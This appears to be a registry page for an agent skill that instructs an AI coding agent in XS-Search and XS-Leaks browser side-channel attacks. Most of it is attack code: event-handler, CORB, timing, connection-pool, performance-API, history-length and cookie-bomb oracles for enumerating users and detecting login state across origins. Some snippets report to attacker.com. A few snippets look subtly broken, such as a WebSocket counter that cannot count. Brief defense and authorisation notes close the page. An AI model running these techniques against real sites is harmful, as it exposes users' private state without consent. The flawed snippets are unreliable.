# Xs Search Leaks

> How to perform XS-Search and XS-Leaks attacks to extract cross-origin information through browser side-channel vulnerabilities. Use this skill whenever the user mentions cross-origin attacks, XS-Leaks, XS-Search, side-channel attacks, browser security testing, iframe exploitation, performance API leaks, timing attacks, or wants to enumerate user state across origins. This skill covers event handlers, timing techniques, global limits, performance API exploitation, error message analysis, and readable attribute extraction.

- Skill: `abelrguezr/xs-search-leaks-2` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/xs-search-leaks-2`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/xs-search-leaks-2/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/abelrguezr/xs-search-leaks-2

---


# XS-Search/XS-Leaks Attack Framework

A comprehensive guide for performing cross-origin information extraction attacks using browser side-channel vulnerabilities.

## When to Use This Skill

Use this skill when you need to:
- Extract information from cross-origin pages you cannot directly access
- Enumerate user authentication state across different origins
- Detect redirects, status codes, or headers from cross-origin resources
- Perform browser-based side-channel attacks for security testing
- Understand and exploit XS-Leak vulnerabilities in web applications
- Test for information leakage through timing, event handlers, or browser APIs

## Core Concepts

### Attack Components

1. **Vulnerable Web**: The target website from which information is extracted
2. **Attacker's Web**: Your malicious page hosting the exploit
3. **Inclusion Method**: How you incorporate the target (iframe, window.open, fetch, HTML elements)
4. **Leak Technique**: How you discern state differences (timing, events, errors, etc.)
5. **States**: The two conditions you're trying to distinguish (e.g., logged in vs. logged out)
6. **Detectable Differences**: Observable variations you exploit

### Detectable Differences You Can Exploit

| Difference Type | What It Reveals |
|----------------|------------------|
| **Status Code** | HTTP response codes (200, 404, 403, etc.) |
| **API Usage** | Whether specific Web APIs are used |
| **Redirects** | Navigation to different pages |
| **Page Content** | Response body variations, embedded frame counts, image sizes |
| **HTTP Headers** | X-Frame-Options, Content-Disposition, CORP, CORS headers |
| **Timing** | Time disparities between states |

## Attack Techniques

### 1. Event Handler Techniques

#### Onload/Onerror Oracle

**Best for**: Status code detection, resource existence checks

```html
<!-- Script-based approach -->
<script>
const script = document.createElement('script');
script.onload = () => console.log('Resource loaded (2xx)');
script.onerror = () => console.log('Resource failed (4xx/5xx)');
script.src = 'https://target.com/secret?user=' + candidate;
</script>

<!-- Scriptless approach -->
<object data="https://target.com/404">
  <object data="https://attacker.com/?error"></object>
</object>
```

**Use when**: You need to distinguish between successful and failed resource loads

#### Content-Type/CORB Script Load Oracle

**Best for**: Brute-forcing identifiers when response type varies

```html
<script>
const script = document.createElement('script');
script.onload = () => {
  // HTML response - likely a match
  console.log('Match found');
};
script.onerror = () => {
  // JSON response blocked by CORB - no match
  console.log('No match');
};
script.src = `https://target.com/api/user/${candidate}`;
</script>
```

**Use when**: Target returns HTML on match vs JSON on mismatch

#### postMessage vs X-Frame-Options Oracle

**Best for**: Detecting widget loading with postMessage signals

```html
<iframe id="target" width="0" height="0"></iframe>
<script>
function test(id) {
  target.src = `https://target.com/widget?user=${id}`;
  return new Promise(r => {
    const timeout = setTimeout(() => r(false), 2000);
    window.onmessage = () => {
      clearTimeout(timeout);
      r(true); // Message received = success
    };
  });
}
</script>
```

**Use when**: Target widgets emit postMessage on successful load

### 2. Timing-Based Techniques

#### Onload Timing

**Best for**: Measuring network request duration

```javascript
function measureLoad(url) {
  const start = performance.now();
  const img = new Image();
  img.onload = () => {
    const duration = performance.now() - start;
    console.log(`Load time: ${duration}ms`);
    return duration;
  };
  img.src = url;
}
```

**Use when**: Different states have measurably different load times

#### Sandbox Frame Timing

**Best for**: Cleaner timing measurements (no JS execution variance)

```html
<iframe id="target" sandbox></iframe>
<script>
const start = performance.now();
target.onload = () => {
  const duration = performance.now() - start;
  console.log(`Sandbox load time: ${duration}ms`);
};
target.src = 'https://target.com/secret';
</script>
```

**Use when**: You need timing without JavaScript execution noise

#### Connection Pool Timing

**Best for**: Measuring target page load time by blocking sockets

```javascript
async function connectionPoolTiming(targetUrl) {
  // Block 255 sockets
  const promises = [];
  for (let i = 0; i < 255; i++) {
    promises.push(fetch(`https://blocker${i}.example.com/hold`));
  }
  
  // Load target on 256th socket
  const targetStart = performance.now();
  await fetch(targetUrl);
  const targetDuration = performance.now() - targetStart;
  
  // 257th request waits for socket release
  const waitStart = performance.now();
  await fetch('https://signal.example.com/done');
  const waitDuration = performance.now() - waitStart;
  
  console.log(`Target load: ${targetDuration}ms, Wait: ${waitDuration}ms`);
}
```

**Use when**: You need to isolate target page network time

### 3. Performance API Techniques

#### Error Leak Detection

**Best for**: Distinguishing error responses from successful ones

```javascript
function checkPerformanceEntry(url) {
  const img = new Image();
  img.src = url;
  
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    const found = entries.find(e => e.name.includes(url));
    
    if (!found) {
      console.log('No performance entry = error response');
    } else {
      console.log('Performance entry exists = successful response');
    }
  }, 1000);
}
```

**Use when**: Error responses don't create performance entries

#### X-Frame-Options Detection

**Best for**: Detecting framing protection headers

```javascript
function detectXFrameOptions(url) {
  const iframe = document.createElement('iframe');
  iframe.style.display = 'none';
  document.body.appendChild(iframe);
  iframe.src = url;
  
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    const found = entries.find(e => e.name.includes(url));
    
    if (!found) {
      console.log('X-Frame-Options likely present (no entry)');
    } else {
      console.log('No X-Frame-Options blocking');
    }
  }, 1000);
}
```

**Use when**: You need to detect framing protection

#### Redirect Detection

**Best for**: Detecting if a response is a redirect

```javascript
async function detectRedirect(url) {
  const response = await fetch(url, { redirect: 'manual' });
  
  if (response.type === 'opaqueredirect') {
    console.log('Redirect detected');
  } else {
    console.log('No redirect');
  }
}
```

**Use when**: You need to detect cross-origin redirects

### 4. Global Limits Techniques

#### WebSocket Connection Count

**Best for**: Detecting WebSocket usage on target page

```javascript
function countWebSockets(targetUrl) {
  const win = window.open(targetUrl);
  
  let exceptions = 0;
  try {
    for (let i = 0; i < 100; i++) {
      new WebSocket('wss://attacker.com/ws');
    }
  } catch (e) {
    exceptions++;
  }
  
  console.log(`Target uses ${exceptions} WebSocket connections`);
  win.close();
}
```

**Use when**: You need to detect WebSocket usage patterns

#### History Length Oracle

**Best for**: Detecting navigation to specific URLs

```javascript
async function checkHistoryLength(win, url) {
  const before = win.history.length;
  win.location = url + '#test';
  win.location = 'about:blank';
  await new Promise(r => setTimeout(r, 500));
  const after = win.history.length;
  
  return after > before; // true if URL was correct
}
```

**Use when**: You need to verify if a frame/popup is at a specific URL

### 5. Readable Attributes Techniques

#### Frame Counting

**Best for**: Detecting page state through iframe count

```javascript
function countFrames(win) {
  return win.length; // Number of frames in the window
}

// Monitor for changes
setInterval(() => {
  const count = countFrames(targetWindow);
  console.log(`Frame count: ${count}`);
}, 1000);
```

**Use when**: Page state changes the number of embedded frames

#### Image Dimensions Leak

**Best for**: Detecting content through image size

```javascript
function getImageDimensions(url) {
  const img = new Image();
  img.src = url;
  
  img.onload = () => {
    console.log(`Width: ${img.width}, Height: ${img.height}`);
    // Different sizes = different content
  };
}
```

**Use when**: Content variations affect image dimensions

#### CSS Property Leak

**Best for**: Detecting styling changes based on user state

```javascript
function detectCSSProperty(url, selector, property) {
  const link = document.createElement('link');
  link.rel = 'stylesheet';
  link.href = url;
  document.head.appendChild(link);
  
  setTimeout(() => {
    const element = document.querySelector(selector);
    const style = window.getComputedStyle(element);
    const value = style.getPropertyValue(property);
    console.log(`${property}: ${value}`);
  }, 1000);
}
```

**Use when**: Target changes CSS based on user authentication/state

### 6. Error Message Techniques

#### Media Error Status Code Leak

**Best for**: Firefox status code extraction

```javascript
function mediaErrorLeak(url) {
  const audio = new Audio();
  audio.src = url;
  
  audio.onerror = () => {
    const err = audio.error;
    const message = err.message;
    
    if (message.includes('DEMUXER_ERROR_COULD_NOT_OPEN') ||
        message.includes('Failed to init decoder')) {
      console.log('Status: Success (2xx)');
    } else {
      console.log('Status: Error (4xx/5xx)');
    }
  };
}
```

**Use when**: Testing in Firefox for status code leaks

#### CORS Error Redirect Leak

**Best for**: Extracting redirect URLs in Webkit browsers

```javascript
async function corsRedirectLeak(url) {
  try {
    await fetch(url, { mode: 'cors' });
  } catch (e) {
    // Error message may contain redirect URL
    console.log('CORS error:', e.message);
  }
}
```

**Use when**: Target redirects based on user state

## Practical Attack Patterns

### Pattern 1: User Enumeration via XS-Leaks

```javascript
async function enumerateUsers(targetUrl, candidates) {
  for (const user of candidates) {
    const start = performance.now();
    const img = new Image();
    
    img.onload = () => {
      const duration = performance.now() - start;
      if (duration < 100) { // Fast = cached/exists
        console.log(`User exists: ${user}`);
      }
    };
    
    img.onerror = () => {
      console.log(`User not found: ${user}`);
    };
    
    img.src = `${targetUrl}/api/user/${user}`;
    await new Promise(r => setTimeout(r, 200));
  }
}
```

### Pattern 2: Authentication State Detection

```javascript
function detectAuthState(targetUrl) {
  const iframe = document.createElement('iframe');
  iframe.style.display = 'none';
  document.body.appendChild(iframe);
  iframe.src = targetUrl;
  
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    const found = entries.find(e => e.name.includes(targetUrl));
    
    if (found && found.duration > 0) {
      console.log('Likely authenticated (page loaded)');
    } else {
      console.log('Likely not authenticated (redirected/blocked)');
    }
  }, 2000);
}
```

### Pattern 3: Cookie Bomb + XS-Search

```javascript
function cookieBombXSLeak(targetUrl) {
  // Set large cookies to trigger size-based errors
  for (let i = 0; i < 100; i++) {
    document.cookie = `bomb${i}=${'x'.repeat(4000)}`;
  }
  
  // Load target - if response size + cookies exceeds limit, error occurs
  const img = new Image();
  img.onload = () => console.log('Response small enough');
  img.onerror = () => console.log('Response too large (contains secret)');
  img.src = targetUrl;
}
```

## Defense Recommendations

### For Developers

1. **Set proper CORS headers**: Don't use `Access-Control-Allow-Origin: *` for sensitive endpoints
2. **Implement X-Frame-Options**: Use `DENY` or `SAMEORIGIN` appropriately
3. **Use CORP headers**: `Cross-Origin-Resource-Policy: same-origin`
4. **Avoid timing variations**: Make responses consistent regardless of state
5. **Validate and sanitize**: Prevent injection that enables these attacks
6. **Use COOP**: `Cross-Origin-Opener-Policy: same-origin`

### For Security Testers

1. **Test multiple browsers**: Leaks vary by browser implementation
2. **Combine techniques**: Use multiple leak vectors for confirmation
3. **Consider timing noise**: Account for network variance in timing attacks
4. **Document findings**: Track which techniques work on which targets
5. **Respect scope**: Only test authorized targets

## References

- [XSinator Paper](https://xsinator.com/paper.pdf)
- [XSLeaks.dev Documentation](https://xsleaks.dev/)
- [XSLeaks GitHub](https://github.com/xsleaks/xsleaks)
- [XSinator Tool](https://xsinator.com/)

## Important Notes

- **Legal**: Only perform these attacks on systems you have explicit authorization to test
- **Browser Variations**: Techniques work differently across Chrome, Firefox, Safari
- **Mitigations**: Modern browsers are actively reducing these attack surfaces
- **Noise**: Timing attacks require statistical analysis to overcome variance
- **Ethics**: Use these techniques responsibly for security research and authorized testing only

